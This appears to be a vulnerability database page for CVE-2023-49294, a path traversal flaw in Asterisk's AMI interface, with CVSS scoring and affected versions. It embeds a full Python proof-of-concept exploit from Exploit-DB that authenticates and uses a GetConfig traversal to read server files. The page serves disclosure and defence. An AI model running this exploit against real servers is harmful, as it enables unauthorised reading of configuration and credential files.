CVE-2023-49294 : Detail

CVE-2023-49294

7.5
/
High
Directory Traversal
A01-Broken Access Control
0.19%V3
Network
2023-12-14
19h40 +00:00
2025-02-13
17h18 +00:00
CVE.org
NVD
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CVE Descriptions

Asterisk Path Traversal vulnerability

Asterisk is an open source private branch exchange and telephony toolkit. In Asterisk prior to versions 18.20.1, 20.5.1, and 21.0.1, as well as certified-asterisk prior to 18.9-cert6, it is possible to read any arbitrary file even when the `live_dangerously` is not enabled. This allows arbitrary files to be read. Asterisk versions 18.20.1, 20.5.1, and 21.0.1, as well as certified-asterisk prior to 18.9-cert6, contain a fix for this issue.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 4.9 MEDIUM CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

High

The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable component allowing access to component-wide settings and files.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
V3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 51927

Publication date : 2024-03-27 23h00 +00:00
Author : Sean Pesce
EDB Verified : No

# Exploit Title: Asterisk AMI - Partial File Content & Path Disclosure (Authenticated) # Date: 2023-03-26 # Exploit Author: Sean Pesce # Vendor Homepage: https://asterisk.org/ # Software Link: https://downloads.asterisk.org/pub/telephony/asterisk/old-releases/ # Version: 18.20.0 # Tested on: Debian Linux # CVE: CVE-2023-49294 #!/usr/bin/env python3 # # Proof of concept exploit for CVE-2023-49294, an authenticated vulnerability in Asterisk AMI that # facilitates filesystem enumeration (discovery of existing file paths) and limited disclosure of # file contents. Disclosed files must adhere to the Asterisk configuration format, which is similar # to the common INI configuration format. # # References: # https://nvd.nist.gov/vuln/detail/CVE-2023-49294 # https://github.com/asterisk/asterisk/security/advisories/GHSA-8857-hfmw-vg8f # https://docs.asterisk.org/Asterisk_18_Documentation/API_Documentation/AMI_Actions/GetConfig/ import argparse import getpass import socket import sys CVE_ID = 'CVE-2023-49294' DEFAULT_PORT = 5038 DEFAULT_FILE = '/etc/hosts' DEFAULT_ACTION_ID = 0 DEFAULT_TCP_READ_SZ = 1048576 # 1MB def ami_msg(action, args, encoding='utf8'): assert type(action) == str, f'Invalid type for AMI Action (expected string): {type(action)}' assert type(args) == dict, f'Invalid type for AMI arguments (expected dict): {type(args)}' if 'ActionID' not in args: args['ActionID'] = 0 line_sep = '\r\n' data = f'Action: {action}{line_sep}' for a in args: data += f'{a}: {args[a]}{line_sep}' data += line_sep return data.encode(encoding) def tcp_send_rcv(sock, data, read_sz=DEFAULT_TCP_READ_SZ): assert type(data) in (bytes, bytearray, memoryview), f'Invalid data type (expected bytes): {type(data)}' sock.sendall(data) resp = b'' while not resp.endswith(b'\r\n\r\n'): resp += sock.recv(read_sz) return resp if __name__ == '__main__': # Parse command-line arguments argparser = argparse.ArgumentParser() argparser.add_argument('host', type=str, help='The host name or IP address of the Asterisk AMI server') argparser.add_argument('-p', '--port', type=int, help=f'Asterisk AMI TCP port (default: {DEFAULT_PORT})', default=DEFAULT_PORT) argparser.add_argument('-u', '--user', type=str, help=f'Asterisk AMI user', required=True) argparser.add_argument('-P', '--password', type=str, help=f'Asterisk AMI secret', default=None) argparser.add_argument('-f', '--file', type=str, help=f'File to read (default: {DEFAULT_FILE})', default=DEFAULT_FILE) argparser.add_argument('-a', '--action-id', type=int, help=f'Action ID (default: {DEFAULT_ACTION_ID})', default=DEFAULT_ACTION_ID) if '-h' in sys.argv or '--help' in sys.argv: print(f'Proof of concept exploit for {CVE_ID} in Asterisk AMI. More information here: \nhttps://nvd.nist.gov/vuln/detail/{CVE_ID}\n', file=sys.stderr) argparser.print_help() sys.exit(0) args = argparser.parse_args() # Validate command-line arguments assert 1 <= args.port <= 65535, f'Invalid port number: {args.port}' args.host = socket.gethostbyname(args.host) if args.password is None: args.password = getpass.getpass(f'[PROMPT] Enter the AMI password for {args.user}: ') print(f'[INFO] Proof of concept exploit for {CVE_ID}', file=sys.stderr) print(f'[INFO] Connecting to Asterisk AMI: {args.user}@{args.host}:{args.port}', file=sys.stderr) # Connect to the Asterisk AMI server sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.connect((args.host, args.port)) # Read server banner banner = sock.recv(DEFAULT_TCP_READ_SZ) print(f'[INFO] Connected to {banner.decode("utf8").strip()}', file=sys.stderr) # Authenticate to the Asterisk AMI server login_msg = ami_msg('Login', {'Username':args.user,'Secret':args.password}) login_resp = tcp_send_rcv(sock, login_msg) while b'Authentication' not in login_resp: login_resp = tcp_send_rcv(sock, b'') if b'Authentication accepted' not in login_resp: print(f'\n[ERROR] Invalid credentials: \n{login_resp.decode("utf8")}', file=sys.stderr) sys.exit(1) #print(f'[INFO] Authenticated: {login_resp.decode("utf8")}', file=sys.stderr) print(f'[INFO] Login success', file=sys.stderr) # Obtain file data via path traversal traversal = '../../../../../../../../' cfg_msg = ami_msg('GetConfig', { 'ActionID': args.action_id, 'Filename': f'{traversal}{args.file}', #'Category': 'default', #'Filter': 'name_regex=value_regex,', }) resp = tcp_send_rcv(sock, cfg_msg) while b'Response' not in resp: resp = tcp_send_rcv(sock, b'') print(f'', file=sys.stderr) print(f'{resp.decode("utf8")}') if b'Error' in resp: sys.exit(1) pass # Done

Products Mentioned

Configuraton 0

Digium>>Asterisk >> Version To (excluding) 18.20.1

Digium>>Asterisk >> Version From (including) 19.0.0 To (excluding) 20.5.1

Digium>>Asterisk >> Version 21.0.0

Sangoma>>Certified_asterisk >> Version 13.13.0

Sangoma>>Certified_asterisk >> Version 13.13.0

Sangoma>>Certified_asterisk >> Version 13.13.0

Sangoma>>Certified_asterisk >> Version 13.13.0

Sangoma>>Certified_asterisk >> Version 13.13.0

Sangoma>>Certified_asterisk >> Version 13.13.0

Sangoma>>Certified_asterisk >> Version 13.13.0

Sangoma>>Certified_asterisk >> Version 13.13.0

Sangoma>>Certified_asterisk >> Version 13.13.0

Sangoma>>Certified_asterisk >> Version 13.13.0

Sangoma>>Certified_asterisk >> Version 16.8.0

Sangoma>>Certified_asterisk >> Version 16.8.0

Sangoma>>Certified_asterisk >> Version 16.8.0

Sangoma>>Certified_asterisk >> Version 16.8.0

Sangoma>>Certified_asterisk >> Version 16.8.0

Sangoma>>Certified_asterisk >> Version 16.8.0

Sangoma>>Certified_asterisk >> Version 16.8.0

Sangoma>>Certified_asterisk >> Version 16.8.0

Sangoma>>Certified_asterisk >> Version 16.8.0

Sangoma>>Certified_asterisk >> Version 16.8.0

Sangoma>>Certified_asterisk >> Version 16.8.0

Sangoma>>Certified_asterisk >> Version 16.8.0

Sangoma>>Certified_asterisk >> Version 16.8.0

Sangoma>>Certified_asterisk >> Version 18.9

Sangoma>>Certified_asterisk >> Version 18.9

Sangoma>>Certified_asterisk >> Version 18.9

Sangoma>>Certified_asterisk >> Version 18.9

Sangoma>>Certified_asterisk >> Version 18.9

References